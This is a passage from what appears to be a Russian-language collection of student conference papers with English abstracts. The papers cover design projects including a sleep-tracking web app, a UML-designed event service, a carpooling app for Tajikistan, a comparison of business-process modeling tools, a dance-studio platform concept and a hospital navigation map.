ligence would help users to view their sleep statistics and get clear advice. In the process of 
development, a BPMN diagram was created to show how a user interacts with the application 
and an ER diagram to represent the structure of the database. At the moment the application 
has basic functionality, but in the future, there are plans to expand it for more convenience 
and usefulness. 
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В наше время стресс и перегрузка от работы стали нормой, а здоровый сон ста-
новится роскошью. Из-за того, что ритм жизни ускоряется, человек уделяет работе 
больше внимания, на полноценный отдых остаётся меньше времени. Недостаток отды-
ха негативно сказывается не только на физическом и психическом здоровье, но и сни-
жается работоспособность и общее самочувствие. Чтобы помочь избежать этих про-
блем, ведётся разработка веб-приложения для отслеживания качества сна [1]. 

Несмотря на приличное количество мобильных приложений, по типу Sleep Cycle 
и Sleep as Android, предназначенных для анализа сна, недостаток комплексных веб-
решений с расширенными функциональными возможностями всё же наблюдается. 

Цeлью данной рабoты является применение современных методов разработки 
веб-приложения с интеграцией искусственного интеллекта (ИИ). Приложение будет 
собирать данные о различных аспектах сна, среди которых возраст, качество сна, время 
засыпания и подъёма и другие параметры, а также предоставлять пользователю визуа-
лизацию этих данных через дашборды с рекомендациями по улучшению сна [2]. 

Компьютеры и цифровые устройства уже стали такой частью повседневной 
жизни, без которой тяжело прожить. Они используются для работы, учебы, общения и 
развлечений. Однако их длительное использование может негативно сказываться на 
здоровье человека и приведёт к повышению уровня тревожности и снижению дееспо-
собности. Если использовать телефон перед сном, то это будет отрицательно сказы-
ваться на качестве сна, снижая его продолжительность и эффективность. Воздействие 
синего света от экрана подавляет выработку мелатонина, гормона, регулирующего цик-
лы сна и бодрствования [1]. Для разработки веб-приложения с отслеживанием качества 
сна «Sleepy» было использовано моделирование бизнес-процессов с помощью диа-
грамм BPMN (от англ. Business Process Model and Notation). Диаграмма визуализирует 
взаимодействие пользователя с приложением от регистрации и ввода персональных па-
раметров до получения персонализированных советов [3]. После того, как пользователь 
вносит данные о времени засыпания, физической активности, система обработает ин-
формацию и проанализирует её с помощью алгоритмов ИИ и сформирует рекоменда-
ции (рисунок 1).  

ER-диаграмма позволяет в деталях рассмотреть архитектуру базы данных, свя-
зывая сущности «Пользователь», «Данные сна», «Статистика» и «Рекомендации».  

Записи о сне с такими параметрами, как продолжительность отдыха, ежеднев-
ные шаги и субъективная оценка качества сна, привязаны к каждому пользователю. Это 
позволяет системе не только хранить исторические данные, но и выявлять закономер-
ности, например, связь между низкой физической активностью и ухудшением сна. 
Приложение помогает формировать полезные привычки, которые способствуют улуч-
шению общего самочувствия (рисунок 2). 

Веб-приложение «Sleepy» не только трекер сна, но и умный помощник, который 
поможет улучшить качество жизни и вернуть здоровый сон. Приложение будет полезно 
и людям, страдающим от бессонницы, и тем, кто хочет оптимизировать свой режим 
дня. 
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Рисунок 1 – BMPN-диаграмма 

 
Рисунок 2 – ER-диаграмма 
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Во время разработки вeб-приложения «Sleepy» были решены задачи, относящи-
еся к проектированию системы. Для понимания структуры системы веб-приложения 
«Sleepy» были разработаны диаграммы, которые демонстрируют, как устроено прило-
жение изнутри. Несмотря на то, что приложение находится на раннем этапе разработки, 
оно уже предоставляет полезный функционал и перспективные возможности для поль-
зователей, стремящихся улучшить свой образ жизни. В будущем будет добавлен новый 
функционал, чтобы сделать приложение ещё более удобным и полезным. 
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ПРОЕКТИРОВАНИЕ ВЕБ-СЕРВИСА «КОНСТРУКТОР МЕРОПРИЯТИЙ» 
 
DESIGNING A WEB SERVICE «EVENT CONSTRUCTOR» 
 
Аннотация. В статье рассматривается процесс проектирования веб-сервиса «Конструк-
тор мероприятий», цель которого – создание масштабируемой системы для организа-
ции и проведения событий. В рамках работы был проведен анализ функциональных и 
нефункциональных требований, а также выбран унифицированный язык моделирова-
ния (от англ. unified modeling language, UML) как основной инструмент для проектиро-
вания. Применение UML позволило детально проработать архитектуру системы с ис-
пользованием диаграмм прецедентов, классов и активностей. Эти диаграммы являются 
основными инструментами для визуализации структуры и взаимодействия компонен-
тов системы. Работа демонстрирует использование нотаций проектирования на ранних 
стадиях разработки для упрощения и ускорения процесса создания масштабируемых 
систем. 
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Abstract. This paper discusses the process of designing the «Event Constructor» web service, 
aimed at creating a scalable system for organizing and conducting events. The work involves 
analyzing both functional and non-functional requirements, with unified modeling language 
(UML) chosen as the primary tool for system design. The use of UML enabled a detailed ar-
chitecture of the system through the development of use case, class, and activity diagrams. 
These diagrams are essential tools for visualizing the structure and interactions of system 
components. The paper highlights the importance of using design notations in the early stages 
of development to simplify and accelerate the creation of scalable systems. 
Ключевые слова: проектирование, UML, веб-сервис, диаграмма прецедентов, диаграм-
ма классов, диаграмма активностей, масштабируемость. 
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В настоящее время информационные технологии меняются быстрыми темпами. 
Появляется больше новых компаний в IT-индустрии, возникают новые услуги в раз-
личных сферах жизни, a большинство компаний переходят в режим онлайн. По этим 
причинам появляется потребность в самых разных IT-продуктах. В основном, эти по-
требности сводятся к двум наиболее важным критериям: масштабируемость и макси-
мальный охват предметной области [1]. 

Актуальность работы заключается в необходимости выбора наибoлeе 
рaботoспособного метoда использования нотаций проектирования для сложных и мас-
штабируемых систем. 

Цeлью данной рабoты является выбор нужных инструментoв (нотаций) и мето-
дов, которыми можно обеспечить возможность пoлучения масштабируемой системы на 
ранних этапах проектирования для дальнейшей разработки вeб-сервиса «Конструктор 
мероприятий». 

Сoвременные тенденции развития информационных технологий предписывают 
необходимость постоянного совершенствования процедур проектирования. Необходи-
мо учитывать не только технические, но и потенциальные возможности дополнитель-
ного развития и адаптации созданных систем к изменяющимся требованиям рынка. 

Первостепенной стадией при разработке программного обеспечения является 
проектирование. Проектирование позволяет сформировать представление о разрабаты-
ваемой системе и её процессах. Само проектирование будет проводиться при помощи 
языка UML [2]. 

Унифицированный язык моделирования является общепринятым методом визу-
ального моделирования, который применяется для описания сложных систем в деталях. 
Диаграммами можно продемонстрировать функциональность и внутреннее устройство 
системы. Проектировщики изучают, документируют и разрабатывают структуры бу-
дущих систем, обсуждая их с командой разработчиков [3,4]. 

После первичного анализа функциональных и нефункциональных требований 
веб-сервиса «Конструктор мероприятий» и анализа различных нотаций проектирования 
был составлен список схем, которые необходимо составить в первую очередь. 

Была составлена диаграмма прецедентов, в которой описаны основные функци-
ональные возможности системы (рисунок 1). С её помощью определяются сценарии 
использования сервиса. 
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Рисунок 1 – Диаграмма прецедентов 

Также была разработана диаграмма классов, в которой описывается структура 
системы через представление классов, их атрибутов и методов (рисунок 2).  

Визуальное представление последовательности действий и потока управления 
внутри системы изображено на диаграмме активностей (рисунок 3). 

 

 
Рисунок 2 – Диаграмма классов 
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Рисунок 3 – Диаграмма активностей 

Во время разработки вeб-сервисa «Конструктор мероприятий» были решены за-
дачи, относящиеся к проектированию системы. В результате исследования в качестве 
основного инструментa для разработки архитектуры системы был выбран унифициро-
ванный язык моделирования. Унифицированный язык моделирования, основанный на 
идеях визуального моделирования, позволяет детально проиллюстрировать cвязи 
мeжду компонентами, четко и структурно описать cложную архитектуру будущего он-
лайн-сервиса и упростить последующий процесс разработки. Кроме того, использова-
ние UML пoмoгаeт разработчикaм лучше понять cиcтему. 
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Аннотация. Статья посвящена разработке современного мобильного приложения для 
путешественников, ориентированного на решение проблем транспортной инфраструк 
туры в Таджикистане. В ходе разработки выбран технологический стек, включающий 
Expo, React Native и Firebase. Результатом работы стало приложение с интуитивным 
интерфейсом, системой верификации пользователей, многоязычной поддержкой и 
функционалом для планирования поездок. Разработанный продукт обладает потенциа-
лом для дальнейшего масштабирования и улучшения пользовательского опыта. 
Annotation. The article is devoted to the development of a modern mobile application for 
travelers, focused on solving the problems of transport infrastructure in Tajikistan. In the 
course of development a technological stack including Expo, React Native and Firebase was 
chosen. The result is an application with an intuitive interface, user verification system, multi-
lingual support and trip planning functionality. The developed product has the potential for 
further scaling and improving the user experience. 
Ключевые слова: мобильное приложение, транспортная инфраструктура, верификация, 
React Native, поиск попутчиков. 
Key words: mobile application, transportation infrastructure, verification, React Native, 
search for travel companions.  

 
В условиях роста урбанизации и увеличения стоимости транспорта в Централь-

ной Азии, особенно в Таджикистане, остро стоит проблема доступности пассажирских 
перевозок. Существующие международные сервисы карпулинга не получили широкого 
распространения в регионе из-за языковых барьеров, отсутствия адаптации к местным 
условиям и низкого уровня доверия между пользователями. Это определяет актуаль-
ность разработки специализированного мобильного приложения, учитывающего реги-
ональные особенности. 

Анализ существующих исследований показывает, что вопросы развития транс-
портных платформ для Центральной Азии изучены недостаточно. Большинство работ 
посвящено общим принципам разработки мобильных приложений или глобальным 
сервисам без учета местной специфики. Особенно слабо исследованы вопросы адапта-
ции интерфейсов для многоязычной аудитории и построения доверительных отноше-
ний между участниками поездок в условиях горной местности. 

Целью данной работы является создание мобильного приложения для карпулин-
га, адаптированного под потребности жителей Таджикистана [1]. Основное внимание 
уделяется разработке многоязычного интерфейса, системы верификации пользователей 
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и алгоритмов планирования маршрутов с учетом горного рельефа. Новизна исследова-
ния заключается в реализации гибридной архитектуры, обеспечивающей работу при-
ложения при нестабильном интернет-соединении, и создании контекстно-зависимой 
системы локализации. 

При разработке приложения был выбран современный стек технологий, обеспе-
чивающий надежность, производительность и удобство разработки. Основой стал 
фреймворк Expo [2], который позволил создать кроссплатформенное приложение для 
iOS и Android. Для управления состоянием приложения использовался Redux Toolkit, 
что обеспечило предсказуемое и централизованное управление данными. Стилизация 
интерфейса реализована с помощью NativeWind (Tailwind CSS для React Native), что 
позволило создать адаптивный и современный дизайн. 

Одним из ключевых аспектов безопасности приложения стала реализация си-
стемы аутентификации через Firebase. Пользователи могут регистрироваться и входить 
в систему, используя email и пароль. Для хранения локальных данных и токенов ис-
пользуется AsyncStorage, что обеспечивает плавный пользовательский опыт даже при 
отсутствии подключения к интернету. 

Основные функции приложения 
Приложение позволяет пользователям создавать и планировать поездки, указы-

вая даты, маршрут и количество мест. Интеграция с календарем через @react-native-
community/datetimepicker обеспечивает удобный выбор дат. Для обработки дат исполь-
зуется библиотека date-fns, которая предоставляет мощные инструменты для работы с 
временными данными. 

Реализована система поиска попутчиков с фильтрацией по различным парамет-
рам. Для оптимизации производительности используется серверная часть на Express.js с 
базой данных PostgreSQL. Это обеспечивает быстрый поиск и эффективную работу с 
большими объемами данных. Для обеспечения мгновенной коммуникации между поль-
зователями реализована система push-уведомлений через expo-notifications. Это позво-
ляет пользователям получать уведомления о новых сообщениях, запросах на поездку и 
других важных событиях. 

Интерфейс приложения разработан с учетом современных трендов в дизайне 
мобильных приложений [3]. Использование expo-linear-gradient создает привлекатель-
ные градиентные эффекты, а react-native-reanimated обеспечивает плавные анимации. 
Для работы с изображениями используется expo-image-picker, позволяющий пользова-
телям легко загружать фотографии профиля и поездок. 

Важным аспектом разработки стала безопасность данных [4]. Реализована си-
стема JWT-токенов для аутентификации API-запросов, а все чувствительные данные 
хранятся в защищенном виде. Для оптимизации производительности используется кэ-
ширование данных и ленивая загрузка компонентов. 

В процессе разработки большое внимание уделялось тестированию и отладке. 
Реализована система логирования ошибок, а также механизм обратной связи от пользо-
вателей. Это позволяет быстро выявлять и исправлять проблемы, улучшая качество 
приложения. 

Архитектура приложения 
Приложение построено по модульному принципу с использованием компонент-

ного подхода React Native [5]. Основные компоненты включают: 
- InputField.tsx (поле ввода); 
- CustomButton.tsx (кастомизированная кнопка); 
- TripCard.tsx (карточка поездки); 
- AddressInput.tsx (ввод адреса); 
- Chat.tsx (компонент чата); 
- SettingCard.tsx (карточка настроек). 
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Рисунок 1 – Компоненты для отображения интерфейса пользователю 

Как показано на рисунке 1, такая организация позволяет: 
- упростить поддержку кода; 
- обеспечить согласованность интерфейса; 
- ускорить разработку новых функций; 
- оптимизировать производительность приложения. 
Серверная часть построена на Express.js и включает: 
1. Основной сервер (server.js), который выполняет:  
- обработку HTTP-запросов; 
- маршрутизацию API; 
- обработку файлов. 
2. Работа с базой данных на PostgreSQl, обеспечивающую: 
- миграции для управления структурой базы данных; 
- хранение и обработку данных приложения. 
3. Модуль хранение файлов, включающий: 
- директорию uploads для хранения загруженных файлов; 
- интеграцию с библиотекой multer для обработки загрузок. 
Функциональная схема 
На рисунке 2 представлен процесс поиска, реализующий: 
- фильтрацию по параметрам (дата, маршрут); 
- геоанализ (учет горного рельефа); 
- ранжирование по рейтингу водителей. 

 
Рисунок 2 – Функциональные процессы в Hamsafar 

Разработка современного мобильного приложения для путешественников требу-
ет комплексного подхода к выбору технологий и реализации функциональности. Ис-
пользование современных инструментов разработки, таких как Expo, React Native и 
различных специализированных библиотек, позволило создать надежное и удобное 
приложение, которое отвечает потребностям современных путешественников. Прило-
жение продолжает развиваться, и в планах разработчиков реализация дополнительных 
функций, таких как чат между пользователями, система рейтинга и расширенные воз-
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можности поиска поездок. Эта статья написана на основе реального опыта разработки 
приложения и отражает все ключевые аспекты его создания. Использование современ-
ных технологий и подходов к разработке позволило создать продукт, который не толь-
ко отвечает текущим потребностям пользователей, но и имеет потенциал для дальней-
шего развития и масштабирования. 
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COMPARATIVE CHARACTERISTICS OF SOFTWARE TOOLS FOR BUSINESS 
PROCESS MODELING 
 
Аннотация. В статье рассматриваются три программы по моделированию и автомати-
зации бизнес-процессов. Описаны их отличительные особенности, преимущества и не-
достатки, что позволяет читателям лучше понять функциональные возможности каждо-
го инструмента. Программы выделяются интуитивно понятным интерфейсом и под-
держкой нотации BPMN, что облегчает визуализацию процессов. Предлагают широкий 
спектр возможностей и гибкие настройки. Статья поможет компаниям выбрать наибо-
лее подходящее решение для повышения эффективности и оптимизации своих бизнес-
процессов. 
Abstract. The article discusses three programs for modeling and automating business process-
es. Their distinctive features, advantages and disadvantages are described, which allows read-
ers to better understand the functionality of each tool. The programs feature an intuitive inter-
face and support for BPMN notation, which makes it easier to visualize processes. They offer 
a wide range of features and flexible settings. This article will help companies choose the 
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В условиях современного рынка, характеризующегося высокой изменчивостью 
и динамичностью, предприятия сталкиваются с необходимостью оперативного реаги-
рования на новые вызовы и адаптации своих бизнес-моделей. Это подчеркивает акту-
альность темы исследования, связанного с автоматизацией бизнес-процессов и разра-
боткой оптимальных моделей ведения бизнеса. В связи с этим возрастают требования к 
инструментам, позволяющим эффективно управлять деятельностью организаций. 

Одними из таких инструментов являются информационные системы моделиро-
вания бизнес-процессов, включая Business Studio, Бизнес-процесс Симулятор и Бизнес-
инженер. Эти отечественные программные решения предоставляют предприятиям раз-
личных отраслей возможность создавать модели своих ключевых процессов, учитывая 
доступные ресурсы, технологии и потребности клиентов [1]. Кроме того, указанные 
программы способствуют формированию иерархии целей и показателей оценки эффек-
тивности бизнес-процессов, что в свою очередь позволяет улучшить общую эффектив-
ность бизнеса. Таким образом, целью данного исследования является сравнение трёх 
отечественных программ по моделированию бизнес-процессов [2], а также в выявлении 
их особенностей, преимуществ и недостатков. Это позволит более глубоко понять их 
функциональные возможности и выбрать наиболее подходящее решение для оптимиза-
ции бизнес-деятельности. 

Руководителям и владельцам бизнеса часто приходится сталкиваться с большим 
объемом задач, которые требуют постоянного внимания. Если подобное происходит 
регулярно, рано или поздно возникает необходимость в использовании специального 
программного обеспечения.  

Опишем возможности трех отечественных программ, с помощью которых мож-
но осуществлять как моделирование, так и автоматизацию бизнес-процессов: Business 
Studio, БМ Симулятор, Бизнес-инженер. 

Business Studio – программное обеспечение для моделирования бизнес-
процессов и оптимизации системы управления. Программа разработана российской 
компанией ГК «Современные технологии управления».  

В Business Studio можно настроить интеграцию или обмен данными бизнес-
модели организации с другими корпоративными информационными системами раз-
личных классов – ERP, BI, BPMS, HRM, ECM, CRM. Это нужно, чтобы данные обнов-
лялись автоматически. Программой пользуются руководители компаний, маркетологи, 
владельцы продуктов, бизнес-архитекторы, бизнес-аналитики, ИТ-специалисты. В 
Business Studio три основные рабочие области: система сбалансированных показателей, 
анализ процессов и управление бизнес-моделями [3]. 

Система сбалансированных показателей позволяет создать стратегию компании, 
связать между собой все задачи и установить достижимые KPI. В этом разделе задают 
показатели и цели, которых нужно достичь. Можно моделировать цели и связи между 
ними, создавать стратегические карты, контролировать и анализировать результаты. 

В разделе «Анализ процессов» можно проанализировать бизнес-процессы и 
определить затраты на производство продуктов или услуг. Когда компания хочет запу-
стить новый процесс, нужно понять, сколько на это нужно ресурсов, насколько процесс 
будет оправданным и трудозатратным. 

Рабочая область «Управление моделью» создана для моделирования бизнес-
процессов. В качестве событий и связей между ними в моделях можно использовать 
разные элементы – должности, документы, показатели. Когда аналитик меняет один 
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элемент в модели, иногда приходится менять другие. Business Studio автоматически от-
слеживает изменения в бизнес-моделях и показывает, на каком этапе и что нужно по-
менять. Это нужно, чтобы все элементы модели были согласованы между собой. 

БП Симулятор (Бизнес-процесс Симулятор) – это программное обеспечение, 
предназначенное для моделирования и анализа бизнес-процессов в различных сферах 
деятельности. Этот инструмент позволяет пользователям создавать виртуальные моде-
ли бизнес-процессов, проводить их тестирование и оптимизацию, что способствует по-
вышению эффективности и снижению затрат в реальных условиях. 

БП Симулятор предоставляет пользователям широкий спектр возможностей для 
работы с бизнес-процессами. С его помощью можно: моделировать различные сцена-
рии бизнес-процессов, анализировать эффективность текущих процессов, оптимизиро-
вать процессы для достижения лучших результатов, проводить обучение сотрудников с 
использованием симуляций реальных бизнес-ситуаций. 

Программный инструмент выделяется наличием раздела «Обучение и тренинг». 
Он предлагает возможность проведения обучающих программ для сотрудников. Поль-
зователи могут использовать симуляции для тренировки навыков управления процес-
сами и принятия решений в условиях, приближенных к реальным. Основными функци-
ями, представленными в программе, являются: моделирование процессов, анализ про-
изводительности, сценарное планирование, оптимизация процессов, отчёты и визуали-
зация данных. 

Бизнес-инженер – это программное обеспечение для автоматизации и оптимиза-
ции бизнес-процессов, разработанное командой специалистов в области информацион-
ных технологий и управления. Этот инструмент позволяет организациям эффективно 
моделировать, анализировать и улучшать свои бизнес-процессы, что способствует по-
вышению их конкурентоспособности. 

В Бизнес-инженере предусмотрена возможность интеграции и обмена данными 
с другими корпоративными информационными системами, такими как ERP, CRM, BI и 
HRM. Это позволяет обеспечить автоматическое обновление данных и синхронизацию 
информации между различными системами, что значительно упрощает управление и 
анализ бизнес-процессов. 

Программой пользуются руководители компаний, бизнес-аналитики, менеджеры 
по продуктам, бизнес-архитекторы и ИТ-специалисты. Бизнес-инженер включает в себя 
несколько функциональных областей, схожих с функциональными областями Business 
Studio и БП Симулятор. 

Приведём основные характеристики этих программ в таблице 1. 
Таблица 1 – Сравнительная характеристика программных инструментов 

Критерии Business Studio БП Симулятор Бизнес-инженер 
Стоимость 89000 рублей за 

персональную ли-
цензию 

Бесплатно 61000 рублей за 
персональную ли-
цензию 

Функциональ-
ность 

Моделирование 
процессов, анализ, 
отслеживание KPI 

Симуляция про-
цессов, обучение 

Моделирование, 
анализ, оптимиза-
ция 

Интеграция ERP, CRM, BI, 
HRM, ECM 

Ограниченная ин-
теграция 

ERP, CRM, BI, HRM

Поддержка от-
чётности 

Да, генерация отче-
тов 

Ограниченные 
возможности 

Да, визуализация 
данных 

Сценарное пла-
нирование 

Да Нет Да 

Обучение и 
тренинг 

Да, симуляции Да, интерактивные 
курсы 

Да, симуляции 
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Продолжение таблицы 1 
Критерии Business Studio БП Симулятор Бизнес-инженер 
Анализ произ-
водительности 

Да Ограниченный Да, ограниченный 

Целевая ауди-
тория 

Руководители, биз-
нес-аналитики 

Студенты, начи-
нающие специали-
сты 

Руководители, биз-
нес-аналитики 

На основе проведённого нами анализа (см. таблицу 1) сделаем следующие выво-
ды. Программный инструмент Business Studio является самым дорогим из предложен-
ных, однако именно он имеет самый обширный функционал, включая моделирование 
процессов, анализ и отслеживание KPI. Программа поддерживает интеграцию с не-
сколькими системами, также предусмотрена возможность генерации отчётов. Для 
быстрого освоения функционала программного продукта предусмотрены обучения и 
тренинги, осуществляемые через симуляцию. БП Симулятор является бесплатным он-
лайн сервисом, что делает его безусловно привлекательным для начинающих специа-
листов. Программный продукт также предлагает возможность симуляции будущих 
процессов, однако функционально программа гораздо скуднее предыдущей. БП Симу-
лятор имеет ограниченные возможности интеграции и поддержки отчётности, что 
ограничивает его применение в более сложных бизнес-сценариях. Анализ производи-
тельности тоже имеет ограничения, а сценарное планирование и вовсе отсутствует. 
Бизнес-инженер последний программный инструмент, рассмотренный нами, во всех 
отношениях это средняя программа. У неё средний ценовой диапазон стоимости, функ-
ционал достаточно полный, но с ограничениями в интеграции с системами. Сценарное 
планирование и обучение пользователей возможно, однако анализ производительности 
достаточно ограничен. 

В работе были изучены три отечественные программы для моделирования биз-
нес-процессов: Business Studio, БП Симулятор и Бизнес-инженер. Авторы пришли к 
выводу, что выбор между этими программными продуктами должен основываться на 
конкретных потребностях бизнеса, финансовых возможностях и уровне подготовки 
пользователей. В частности, Business Studio была выделена как оптимальное решение 
для крупных организаций, готовых инвестировать в мощные инструменты и интегра-
цию. БП Симулятор, в свою очередь, подходит для студентов и начинающих специали-
стов, однако его функциональные возможности могут оказаться недостаточными для 
решения более сложных задач. Бизнес-инженер предлагает сбалансированный набор 
функций по разумной цене и является разумным выбором для компаний, стремящихся 
к эффективной оптимизации процессов без значительных затрат. 

Таким образом, каждая из рассмотренных программ имеет свои преимущества и 
недостатки, что позволяет выбрать наиболее подходящее решение в зависимости от 
уникальных особенностей бизнеса. 
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КОНЦЕПЦИЯ ЦИФРОВОЙ ПЛАТФОРМЫ ТАНЦЕВАЛЬНОЙ СТУДИИ  
 
THE CONCEPT OF A DIGITAL DANCE STUDIO PLATFORM 
 
Аннотация. В статье предложена концепция цифровой платформы танцевальных сту-
дий, основанная на базе нейронных сетей. Описана проблема существующих аналогов, 
которые на данный момент не могут эффективно справляться с запросами клиентов. 
Предложено создание информационной системы с использованием генеративного ис-
кусственного интеллекта, своего рода программы наделённой «интеллектом», самосто-
ятельно действующим в цифровом мире от имени пользователя, выполняя многосту-
пенчатые задачи. 
Abstract. The article proposes the concept of a digital platform for dance studios based on 
neural networks. The problem of existing analogues, which at the moment cannot effectively 
cope with customer requests, is described. It is proposed to create an information system us-
ing generative artificial intelligence, a kind of program endowed with «intelligence» that in-
dependently acts in the digital world on behalf of the user, performing multi-stage tasks. 
Ключевые слова: концепция, танцевальная студия, нейронная сеть, цифровая платфор-
ма, автоматизированная система, генеративный искусственный интеллект. 
Key words: concept, dance studio, neural network, digital platform, automated system, gener-
ative artificial intelligence. 

 
В современных компаниях автоматизация различных сфер деятельности [1] яв-

ляется актуальной задачей. Внедрение автоматизированных систем актуально во всех 
сферах жизни, ведь это позволит управлять продажами, закупками, работой с клиента-
ми, контролировать финансы, составлять и корректировать отчёты. Сейчас существует 
много коммерческих организаций, осуществляющих дополнительные разнообразные 
услуги, поэтому выбор организации клиентами зачастую зависит от обслуживания. В 
то время, как результаты обслуживания напрямую зависят от использования информа-
ционных технологий [2]. 

Несмотря на быстрое развитие автоматизации деятельности небольшим органи-
зациям тяжело найти умную цифровую платформу, удовлетворяющую современным 
требованиям конкурентных преимуществ.  

Целью работы является разработка концепции цифровой платформы танцеваль-
ной студии. 

Целевой аудиторией танцевальной студии являются физические лица всех воз-
растов. Ежегодно количество студий увеличивается, а значит потребность в цифровых 
платформ возрастает [3]. Ведение учёта зачастую происходит в бумажном виде или в 
таких программах, как: Microsotf Office, Google Docs. Подобные программы позволяют 
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качественно обслуживать не большое количество клиентов. При попытке расширить 
клиентскую базу могут возникать ошибки, например: путаница в ведении учёта клиен-
тов, ошибки в ведении абонементов, а также в учёте расходов и доходов. Эти ошибки 
могут привести к отсутствию денежных средств на выплаты за аренду студии, зарплату 
работникам, невозможности качественного отслеживания статистики работы студии, 
нелояльности клиентов, что в конечном итоге приведёт к нерентабельности организа-
ции и её закрытию [4]. На рынке имеются программные средства для автоматизации 
работы танцевальной студии: «DanceStudio», «FitBase», «Universe Lite», «1C:Фитнес 
клуб». Рассмотрим их функциональность (таблица 1).  

Таблица 1 － Функциональность информационных систем 
Функции Информационные системы 

Danc
eStud
io 

FitBase Universe 
Lite 

1C: Фит-
нес клуб 

Цифровая 
платформа 

Управление расписанием + + + + + 
Поддержка онлайн-записи + + + + + 
Интеграция с CRM - - - + + 
Аналитика пользователей - - + + + 
Автоматизация маркетинга - - + - + 
Мобильная доступность - + + - + 

На основе проведённого анализа (см. таблицу 1) видно, что концепция цифровой 
платформы с нейронной системой имеет определённое преимущество. Использование 
нейронных сетей позволит создать информационную систему, способную адаптиро-
ваться к различным особенностям бизнеса, а также гарантировать корректную работу с 
клиентами. Концепция цифровой платформы танцевальной студии – это шаг на встречу 
симбиоза развития и искусственного интеллекта, предназначенная для управления про-
цессами деятельности студии. Его основная цель заключается в повышении эффектив-
ности обучения и уровня вовлеченности клиентов, а также оптимизации работы бизнес 
процессов студии. 

Ключевые функции концепции: 
1. Интерактивная обратная связь и интеграция с социальными сетями. Клиент в 

реальном времени сможет дать обратную связь не только в приложении студии, но и в 
мессенджерах, привычных каждому из нас (WhatsApp, Telegram, VK), а студия её полу-
чить. Это позволит оптимизировать многие процессы, что будет способствовать созда-
нию приятной атмосферы для клиентов, ведь они будут понимать, что их мнения учи-
тываются и принимаются во внимание. 

2. Анализ движений и техники исполнителя. Используя технологию компьютер-
ного зрения и машинного обучения. Умная платформа сможет оценивать технику ис-
полнения шагов, эмоциональное состояние танцора, а также точность выполнения его 
движений. На основе полученных данных платформа предоставит персонализирован-
ные рекомендации. 

3. Персонализированные тренировочные программы. На основе полученных 
данных об анализе движений и техники исполнителя, платформа разработает индиви-
дуальный план обучения. При расчёте плана будут учитываться также и следующие 
факторы: физическая форма, желаемый стиль танца, доступное для занятий время. Всё 
это позволит создать подход к ученику, гарантирующий глубокое погружение клиента 
в мир танцев и уменьшение вероятности травм.  

4. Автоматизация расписания. Создание и редактирование расписания, учёт по-
сещаемости и регистрация учеников будут автоматизированными процессами. Помимо 
этого, платформа напомнит клиентам о предстоящих занятиях, уведомлять об изменени-
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ях в расписании. Это не только увеличит эффективность студии, но и позволит сократить 
расходы (например: штат больше не будет нуждаться в должности администратора).  

5. Дашборды для отслеживания прогресса. Визуальные дашборды для студентов 
и преподавателей, которые показывают прогресс в обучении, достижения, статистику 
посещаемости, физическую активность. 

6. Генеративный искусственный интеллект. Генеративный искусственный ин-
теллект предоставит пользователям новую возможность общения с компьютерными 
программами на естественном языке без ограничения в языках и формулировках, сде-
лал возможным выполнение сложных программных операций с минимальными затра-
тами как для разработчиков, так и для пользователей. С появлением генеративных мо-
делей нейронных сетей, способных «думать» и принимать решения самостоятельно, 
понятие цифровой платформы обрело новый смысл. Платформа, использующая генера-
тивную модель, станет для пользователей чем-то большим, чем классическая информа-
ционная система, потому что она научилась анализировать информацию и действовать 
на её основе, при этом взаимодействуя с пользователем на естественном языке без 
ограничений в формулировках. 

В основу концепции умной цифровой платформы заложены следующие модули: 
- Интерфейс взаимодействия с пользователями (Frontend): веб-интерфейс, ин-

теграция с мессенджерами. 
- Серверная часть (Backend): API-шлюз, аутенфикация и авторизация. 
- Модуль обработки запросов (RAG Pipeline). 
- Модуль генерации (GenerationModule): адаптация ответов под запросы клиентов. 
- База знаний компании (Knowledge Base): FAQ-разделы, техническая докумен-

тация. 
- Модуль интеграции с внешними системами: CRM-системы, ERP-системы. 
- Модуль управления диалогом (Dialogue Management): поддержка контекста в 

разговоре. 
- Модуль аналитики и отчётности: сбор данных, анализ данных, формирование 

отчётов. 
- Модуль обратной связи: сбор отзывов от клиентов. 
- Модуль администрирования: мониторинг работы системы. 
В работе была представлена концепция танцевальной студии. Авторами предпо-

лагается создание платформы, способной эффективно реагировать на запросы пользо-
вателей и обеспечивать предоставление точной информации как клиентам, так и со-
трудникам танцевальной студии. Платформа будет также включать функции для фор-
мирования отчётов и выполнения аналитических расчётов. Интеграция современных 
технологий и нейронных сетей поспособствует ускорению обработки запросов и улуч-
шению обслуживания, а также оптимизации аналитических процессингов и созданию 
отчётной документации. Концепция предполагает, что реализация данной платформы с 
использованием генеративного искусственного интеллекта повысит общую эффектив-
ность работы танцевальной студии, что приведёт к росту доходов и сокращению убыт-
ков. Применение гибридной модели, объединяющей автоматизацию с человеческим 
участием, является перспективным способом для улучшения работы служб поддержки. 
Эти инициативы направлены на установление уникальной системы, способной транс-
формировать стандарты клиентского обслуживания в танцевальных студиях и принести 
значительные выгоды всем участникам танцевальной студии. 
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DEVELOPMENT OF AN INFORMATION SYSTEM FOR HOSPITAL FACILITIES 
 
Аннотация. В данной работе рассматривается разработка информационной системы 
такой, как навигационная карта больничного учреждения. Также рассматриваются пре-
имущества внедрения навигационной карты для снижения стресса посетителей, упро-
щенного поиска кабинетов, уменьшения количества опозданий на прием и повышения 
эффективности работы медицинского персонала. 
Abstract. This paper considers the development of an information system such as a navigation 
map of a hospital facility. The advantages of implementing a navigation map are also consid-
ered to reduce visitor stress, simplify the search for offices, reduce the number of late ap-
pointments and increase the efficiency of medical staff. 
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В современном мире здравоохранения объем предоставляемых медицинских 
услуг постоянно увеличивается, а требования пациентов к качеству обслуживания ста-
новятся все выше, важность эффективной навигации внутри больничных учреждений 
не вызывает сомнений. Больницы и поликлиники представляют собой большие здания 
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с множеством отделений и кабинетов, что может заставить посетителя долгое время 
искать нужный ему кабинет. 

Создание навигационной карты для больничных учреждений позволяет улуч-
шить навигацию посетителей и дать им нужную информацию о нужных им кабинетам. 
Интеграция карт с мобильным приложением позволяет посетителям легко находить 
нужную информацию о маршрутах. Реализация карты в мобильном приложении с по-
мощью языка Java обеспечит высокую производительность и интерактивность интер-
фейса, что делает поиск удобным и интуитивно понятным. 

Целью работы является разработка навигационной карты для больничных учре-
ждений, а также методологии создания информационных систем, способствующих 
улучшению навигации, а также преимущество использования языка программирования 
Java. На данный момент проведено исследование, которое позволяет собрать и соеди-
нить накопленную информацию и выделить руководство по реализации программного 
обеспечения. 

В настоящее время навигационное картографирование – одна из лидирующих 
отраслей в картографии, так как навигационные карты обеспечивают повседневные 
функции навигации для пользователей. По данным исследования, повышение качества 
